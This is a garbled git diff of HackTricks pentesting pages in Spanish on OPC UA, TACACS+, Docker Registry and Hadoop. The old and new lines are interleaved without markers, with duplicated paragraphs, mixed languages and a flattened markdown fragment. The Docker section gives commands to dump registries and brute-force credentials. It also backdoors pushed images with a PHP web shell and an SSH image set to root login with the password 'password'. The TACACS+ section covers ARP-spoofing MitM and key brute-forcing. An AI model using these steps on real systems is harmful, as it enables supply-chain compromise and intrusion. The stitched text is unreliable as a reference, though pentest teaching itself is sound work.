* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Información Básica
**OPC UA**, que significa **Acceso Unificado a Comunicaciones de Plataforma Abierta**, es un protocolo de código abierto crucial utilizado en diversas industrias como Manufactura, Energía, Aeroespacial y Defensa para el intercambio de datos y control de equipos. Permite que equipos de diferentes proveedores se comuniquen, especialmente con PLCs.
**OPC UA**, que significa **Open Platform Communications Unified Access**, es un protocolo de código abierto crucial utilizado en diversas industrias como Manufactura, Energía, Aeroespacial y Defensa para el intercambio de datos y el control de equipos. Permite de manera única que el equipo de diferentes proveedores se comunique, especialmente con PLCs.
Su configuración permite implementar medidas de seguridad sólidas, pero a menudo, para garantizar la compatibilidad con dispositivos más antiguos, estas se reducen, exponiendo los sistemas a riesgos. Además, puede ser complicado encontrar servicios OPC UA, ya que los escáneres de red podrían no detectarlos si están en puertos no estándar.
Su configuración permite medidas de seguridad robustas, pero a menudo, para la compatibilidad con dispositivos más antiguos, estas se reducen, exponiendo los sistemas a riesgos. Además, encontrar servicios OPC UA puede ser complicado, ya que los escáneres de red pueden no detectarlos si están en puertos no estándar.
**Puerto predeterminado:** 4840
**Puerto por defecto:** 4840
```text
PORT STATE SERVICE REASON
4840/tcp open unknown syn-ack
```
## Pentesting OPC UA
Para revelar problemas de seguridad en servidores OPC UA, escanéalo con [OpalOPC](https://opalopc.com/).
Para revelar problemas de seguridad en servidores OPC UA, escanéelo con [OpalOPC](https://opalopc.com/).
```bash
opalopc -vv opc.tcp://$target_ip_or_hostname:$target_port
```
### Explotando vulnerabilidades
### Explotación de vulnerabilidades
Si se encuentran vulnerabilidades de bypass de autenticación, puedes configurar un [cliente OPC UA](https://www.prosysopc.com/products/opc-ua-browser/) en consecuencia y ver a qué puedes acceder. Esto puede permitir desde simplemente leer valores de proceso hasta operar equipos industriales de alta resistencia.
Si se encuentran vulnerabilidades de bypass de autenticación, puedes configurar un [cliente OPC UA](https://www.prosysopc.com/products/opc-ua-browser/) en consecuencia y ver a qué puedes acceder. Esto puede permitir desde simplemente leer valores de proceso hasta operar realmente equipos industriales de gran envergadura.
Para tener una idea del dispositivo al que tienes acceso, lee los valores del nodo "ServerStatus" en el espacio de direcciones y busca un manual de uso en Google.
Para obtener una pista del dispositivo al que tienes acceso, lee los valores del nodo "ServerStatus" en el espacio de direcciones y busca un manual de uso en Google.
## Shodan
@ -45,16 +46,17 @@ Para tener una idea del dispositivo al que tienes acceso, lee los valores del no
* [https://opalopc.com/how-to-hack-opc-ua/](https://opalopc.com/how-to-hack-opc-ua/)
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende a hackear AWS desde cero hasta convertirte en un experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los** [**repositorios de HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
{% endhint %}

View file

@ -1,20 +1,21 @@
# 49 - Pentesting TACACS+
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Red Team de AWS de HackTricks)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
**Grupo de Seguridad Try Hard**
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
@ -24,35 +25,35 @@ Otras formas de apoyar a HackTricks:
## Información Básica
El protocolo **Terminal Access Controller Access Control System (TACACS)** se utiliza para validar de forma centralizada a los usuarios que intentan acceder a routers o Servidores de Acceso a la Red (NAS). Su versión mejorada, **TACACS+**, separa los servicios en autenticación, autorización y contabilidad (AAA).
El protocolo **Terminal Access Controller Access Control System (TACACS)** se utiliza para validar centralmente a los usuarios que intentan acceder a enrutadores o Servidores de Acceso a la Red (NAS). Su versión mejorada, **TACACS+**, separa los servicios en autenticación, autorización y contabilidad (AAA).
```
PORT STATE SERVICE
49/tcp open tacacs
```
**Puerto predeterminado:** 49
**Puerto por defecto:** 49
## Interceptar la Clave de Autenticación
## Interceptar la clave de autenticación
Si la comunicación entre el cliente y el servidor TACACS es interceptada por un atacante, la **clave de autenticación encriptada puede ser interceptada**. El atacante puede intentar entonces un **ataque de fuerza bruta local contra la clave sin ser detectado en los registros**. Si tiene éxito en el ataque de fuerza bruta a la clave, el atacante obtiene acceso al equipo de red y puede descifrar el tráfico utilizando herramientas como Wireshark.
Si la comunicación entre el cliente y el servidor TACACS es interceptada por un atacante, **la clave de autenticación encriptada puede ser interceptada**. El atacante puede intentar un **ataque de fuerza bruta local contra la clave sin ser detectado en los registros**. Si tiene éxito en la fuerza bruta de la clave, el atacante obtiene acceso al equipo de red y puede desencriptar el tráfico utilizando herramientas como Wireshark.
### Realizar un Ataque de MitM
### Realizando un ataque MitM
Un ataque de suplantación de ARP puede ser utilizado para realizar un ataque de Hombre en el Medio (MitM).
Se puede utilizar un **ataque de suplantación ARP para realizar un ataque Man-in-the-Middle (MitM)**.
### Ataque de Fuerza Bruta a la Clave
### Fuerza bruta de la clave
[Loki](https://c0decafe.de/svn/codename\_loki/trunk/) puede ser utilizado para realizar fuerza bruta a la clave:
[Loki](https://c0decafe.de/svn/codename\_loki/trunk/) se puede utilizar para forzar la clave:
```
sudo loki_gtk.py
```
Si la clave se **descifra con éxito** (**generalmente en formato cifrado MD5)**, **podemos acceder al equipo y descifrar el tráfico cifrado de TACACS.**
If the key is successfully **bruteforced** (**usually in MD5 encrypted format)**, **we can access the equipment and decrypt the TACACS-encrypted traffic.**
### Descifrado de tráfico
Una vez que la clave se ha descifrado con éxito, el siguiente paso es **descifrar el tráfico cifrado de TACACS**. Wireshark puede manejar el tráfico de TACACS cifrado si se proporciona la clave. Al analizar el tráfico descifrado, se pueden obtener información como el **banner utilizado y el nombre de usuario del usuario administrador**.
### Decrypting Traffic
Una vez que la clave se ha descifrado con éxito, el siguiente paso es **decrypt the TACACS-encrypted traffic**. Wireshark puede manejar el tráfico TACACS cifrado si se proporciona la clave. Al analizar el tráfico descifrado, se puede obtener información como el **banner utilizado y el nombre de usuario del admin**.
Al obtener acceso al panel de control del equipo de red utilizando las credenciales obtenidas, el atacante puede ejercer control sobre la red. Es importante tener en cuenta que estas acciones son estrictamente con fines educativos y no deben utilizarse sin la autorización adecuada.
Al obtener acceso al panel de control del equipo de red utilizando las credenciales obtenidas, el atacante puede ejercer control sobre la red. Es importante señalar que estas acciones son estrictamente con fines educativos y no deben utilizarse sin la debida autorización.
## Referencias
## References
* [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
@ -62,16 +63,17 @@ Al obtener acceso al panel de control del equipo de red utilizando las credencia
{% embed url="https://discord.gg/tryhardsecurity" %}
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,52 +1,47 @@
# 5000 - Pentesting Docker Registry
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipo Rojo de AWS de HackTricks)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Información Básica
Un sistema de almacenamiento y distribución conocido como un **registro de Docker** está en su lugar para las imágenes de Docker que están nombradas y pueden venir en múltiples versiones, diferenciadas por etiquetas. Estas imágenes están organizadas dentro de **repositorios de Docker** en el registro, cada repositorio almacenando varias versiones de una imagen específica. La funcionalidad proporcionada permite descargar imágenes localmente o subirlas al registro, asumiendo que el usuario tenga los permisos necesarios.
Un sistema de almacenamiento y distribución conocido como **Docker registry** está en funcionamiento para imágenes de Docker que están nombradas y pueden venir en múltiples versiones, distinguidas por etiquetas. Estas imágenes están organizadas dentro de **Docker repositories** en el registro, cada repositorio almacenando varias versiones de una imagen específica. La funcionalidad proporcionada permite que las imágenes sean descargadas localmente o subidas al registro, asumiendo que el usuario tiene los permisos necesarios.
**DockerHub** sirve como el registro público predeterminado para Docker, pero los usuarios también tienen la opción de operar una versión local del registro/distribución de Docker de código abierto o optar por el **Docker Trusted Registry** con soporte comercial. Además, se pueden encontrar varios otros registros públicos en línea.
**DockerHub** sirve como el registro público predeterminado para Docker, pero los usuarios también tienen la opción de operar una versión local del registro/distribución de Docker de código abierto o optar por el **Docker Trusted Registry** comercialmente soportado. Además, se pueden encontrar varios otros registros públicos en línea.
Para descargar una imagen de un registro local, se utiliza el siguiente comando:
```bash
docker pull my-registry:9000/foo/bar:2.1
```
Este comando obtiene la imagen `foo/bar` en la versión `2.1` del registro localizado en el dominio `my-registry` en el puerto `9000`. Por otro lado, para descargar la misma imagen desde DockerHub, especialmente si `2.1` es la última versión, el comando se simplifica a:
Este comando obtiene la imagen `foo/bar` versión `2.1` del registro local en el dominio `my-registry` en el puerto `9000`. Por el contrario, para descargar la misma imagen de DockerHub, particularmente si `2.1` es la última versión, el comando se simplifica a:
```bash
docker pull foo/bar
```
**Puerto predeterminado:** 5000
**Puerto por defecto:** 5000
```
PORT STATE SERVICE VERSION
5000/tcp open http Docker Registry (API: 2.0)
```
## Descubrimiento
La forma más sencilla de descubrir que este servicio está en ejecución es obtenerlo en la salida de nmap. De todos modos, ten en cuenta que al ser un servicio basado en HTTP, puede estar detrás de proxies de HTTP y nmap no lo detectará.\
Algunas huellas:
La forma más fácil de descubrir este servicio en ejecución es obtenerlo en la salida de nmap. De todos modos, ten en cuenta que, como es un servicio basado en HTTP, puede estar detrás de proxies HTTP y nmap no lo detectará.\
Algunas huellas dactilares:
* Si accedes a `/`, no se devuelve nada en la respuesta
* Si accedes a `/v2/`, entonces se devuelve `{}`
* Si accedes a `/v2/_catalog`, puedes obtener:
* Si accedes a `/` no se devuelve nada en la respuesta
* Si accedes a `/v2/` entonces se devuelve `{}`
* Si accedes a `/v2/_catalog` puedes obtener:
* `{"repositories":["alpine","ubuntu"]}`
* `{"errors":[{"code":"UNAUTHORIZED","message":"authentication required","detail":[{"Type":"registry","Class":"","Name":"catalog","Action":"*"}]}]}`
@ -54,8 +49,7 @@ Algunas huellas:
### HTTP/HTTPS
El registro de Docker puede estar configurado para usar **HTTP** o **HTTPS**. Por lo tanto, lo primero que debes hacer es **averiguar cuál** está siendo configurado:
Docker registry puede estar configurado para usar **HTTP** o **HTTPS**. Así que lo primero que puede que necesites hacer es **encontrar cuál** está siendo configurado:
```bash
curl -s http://10.10.10.10:5000/v2/_catalog
#If HTTPS
@ -66,11 +60,9 @@ Warning: <FILE>" to save to a file.
#If HTTP
{"repositories":["alpine","ubuntu"]}
```
### Autenticación
El registro de Docker también puede estar configurado para requerir **autenticación**:
Docker registry también puede ser configurado para requerir **autenticación**:
```bash
curl -k https://192.25.197.3:5000/v2/_catalog
#If Authentication required
@ -78,18 +70,14 @@ curl -k https://192.25.197.3:5000/v2/_catalog
#If no authentication required
{"repositories":["alpine","ubuntu"]}
```
Si el Registro de Docker requiere autenticación, puedes [**intentar hacer fuerza bruta usando esto**](../generic-methodologies-and-resources/brute-force.md#docker-registry).\
**Si encuentras credenciales válidas, necesitarás usarlas** para enumerar el registro, en `curl` puedes usarlas de la siguiente manera:
Si el Docker Registry requiere autenticación, puedes[ **intentar forzarla utilizando esto**](../generic-methodologies-and-resources/brute-force.md#docker-registry).\
**Si encuentras credenciales válidas, necesitarás usarlas** para enumerar el registro, en `curl` puedes usarlas así:
```bash
curl -k -u username:password https://10.10.10.10:5000/v2/_catalog
```
### Enumeración usando DockerRegistryGrabber
[DockerRegistryGrabber](https://github.com/Syzik/DockerRegistryGrabber) es una herramienta de Python para enumerar / volcar registros de Docker (sin autenticación o con autenticación básica)
[DockerRegistryGrabber](https://github.com/Syzik/DockerRegistryGrabber) es una herramienta de python para enumerar / volcar el registro de docker (sin o con autenticación básica)
```bash
usage: drg.py [-h] [-p port] [-U USERNAME] [-P PASSWORD] [-A header] [--list | --dump_all | --dump DOCKERNAME] url
@ -163,11 +151,9 @@ python3 DockerGraber.py http://127.0.0.1 --dump_all
[+] Downloading : c1de0f9cdfc1f9f595acd2ea8724ea92a509d64a6936f0e645c65b504e7e4bc6
[+] Downloading : 4007a89234b4f56c03e6831dc220550d2e5fba935d9f5f5bcea64857ac4f4888
```
### Enumeración usando curl
Una vez que **has obtenido acceso al registro de Docker**, aquí tienes algunos comandos que puedes usar para enumerarlo:
Una vez que **has obtenido acceso al registro de docker**, aquí hay algunos comandos que puedes usar para enumerarlo:
```bash
#List repositories
curl -s http://10.10.10.10:5000/v2/_catalog
@ -230,13 +216,11 @@ curl http://10.10.10.10:5000/v2/ubuntu/blobs/sha256:2a62ecb2a3e5bcdbac8b6edc58fa
#Inspect the insides of each blob
tar -xf blob1.tar #After this,inspect the new folders and files created in the current directory
```
{% hint style="warning" %}
Ten en cuenta que al descargar y descomprimir los archivos y carpetas de blobs, estos aparecerán en el directorio actual. **Si descargas todos los blobs y los descomprimes en la misma carpeta, sobrescribirán los valores de los blobs previamente descomprimidos**, así que ten cuidado. Puede ser interesante descomprimir cada blob en una carpeta diferente para inspeccionar el contenido exacto de cada uno.
Tenga en cuenta que cuando descargue y descomprima los archivos y carpetas de blobs aparecerán en el directorio actual. **Si descarga todos los blobs y los descomprime en la misma carpeta, sobrescribirán los valores de los blobs descomprimidos anteriormente**, así que tenga cuidado. Puede ser interesante descomprimir cada blob dentro de una carpeta diferente para inspeccionar el contenido exacto de cada blob.
{% endhint %}
### Enumeración usando docker
```bash
#Once you know which images the server is saving (/v2/_catalog) you can pull them
docker pull 10.10.10.10:5000/ubuntu
@ -255,11 +239,10 @@ docker run -it 10.10.10.10:5000/ubuntu bash #Leave this shell running
docker ps #Using a different shell
docker exec -it 7d3a81fe42d7 bash #Get ash shell inside docker container
```
### Inyectando un backdoor en la imagen de WordPress
### Instalación de puerta trasera en imagen de WordPress
En el escenario donde has encontrado un Registro de Docker que guarda una imagen de WordPress, puedes instalar una puerta trasera.\
**Crea** la **puerta trasera**:
En el escenario donde has encontrado un Docker Registry guardando una imagen de wordpress, puedes inyectarle un backdoor.\
**Crea** el **backdoor**:
{% code title="shell.php" %}
```bash
@ -267,7 +250,7 @@ En el escenario donde has encontrado un Registro de Docker que guarda una imagen
```
{% endcode %}
Crear un **Dockerfile**:
Crea un **Dockerfile**:
{% code title="Dockerfile" %}
```bash
@ -277,49 +260,60 @@ RUN chmod 777 /app/shell.php
```
{% endcode %}
**Crear** la nueva imagen, **verificar** que se haya creado y **subirla**:
**Crea** la nueva imagen, **verifica** que se ha creado y **sube** la imagen:
```bash
docker build -t 10.10.10.10:5000/wordpress .
#Create
docker images
docker push registry:5000/wordpress #Push it
```
### Backdooring SSH server image
### Instalación de puerta trasera en la imagen del servidor SSH
Supongamos que encontraste un Registro de Docker con una imagen de SSH y deseas instalarle una puerta trasera.\
**Descarga** la imagen y **ejecútala**:
Supongamos que encontraste un Docker Registry con una imagen de SSH y quieres ponerle un backdoor.\
**Descarga** la imagen y **ejecuta**la:
```bash
docker pull 10.10.10.10:5000/sshd-docker-cli
docker run -d 10.10.10.10:5000/sshd-docker-cli
```
Extraer el archivo `sshd_config` de la imagen de SSH:
Extraer el archivo `sshd_config` de la imagen SSH:
```bash
docker cp 4c989242c714:/etc/ssh/sshd_config .
```
Y modifícalo para establecer: `PermitRootLogin yes`
Y modifíquelo para establecer: `PermitRootLogin yes`
Crea un **Dockerfile** como el siguiente:
Cree un **Dockerfile** como el siguiente:
{% tabs %}
{% tab title="Dockerfile" %}
```bash
FROM 10.10.10.10:5000/sshd-docker-cli
COPY sshd_config /etc/ssh/
RUN echo root:password | chpasswd
```
{% endtab %}
{% endtabs %}
**Crea** la nueva imagen, **verifica** que se ha creado y **sube** la misma:
```bash
docker build -t 10.10.10.10:5000/sshd-docker-cli .
#Create
docker images
docker push registry:5000/sshd-docker-cli #Push it
```
## Referencias
* [https://www.aquasec.com/cloud-native-academy/docker-container/docker-registry/](https://www.aquasec.com/cloud-native-academy/docker-container/docker-registry/)
\`\`\`bash FROM 10.10.10.10:5000/sshd-docker-cli COPY sshd\_config /etc/ssh/ RUN echo root:password | chpasswd \`\`\` \*\*Crear\*\* la nueva imagen, \*\*verificar\*\* que se haya creado y \*\*subirla\*\*: \`\`\`bash docker build -t 10.10.10.10:5000/sshd-docker-cli . #Create docker images docker push registry:5000/sshd-docker-cli #Push it \`\`\` ## Referencias \* \[https://www.aquasec.com/cloud-native-academy/docker-container/docker-registry/]\(https://www.aquasec.com/cloud-native-academy/docker-container/docker-registry/)
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende a hackear AWS desde cero hasta convertirte en un héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Red de HackTricks AWS)</strong></a><strong>!</strong></summary>
<summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos de github.
</details>
{% endhint %}

View file

@ -1,23 +1,24 @@
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
# **Información Básica**
**Apache Hadoop** es un **framework de código abierto** para el **almacenamiento y procesamiento distribuido** de **grandes conjuntos de datos** en **clústeres de computadoras**. Utiliza **HDFS** para el almacenamiento y **MapReduce** para el procesamiento.
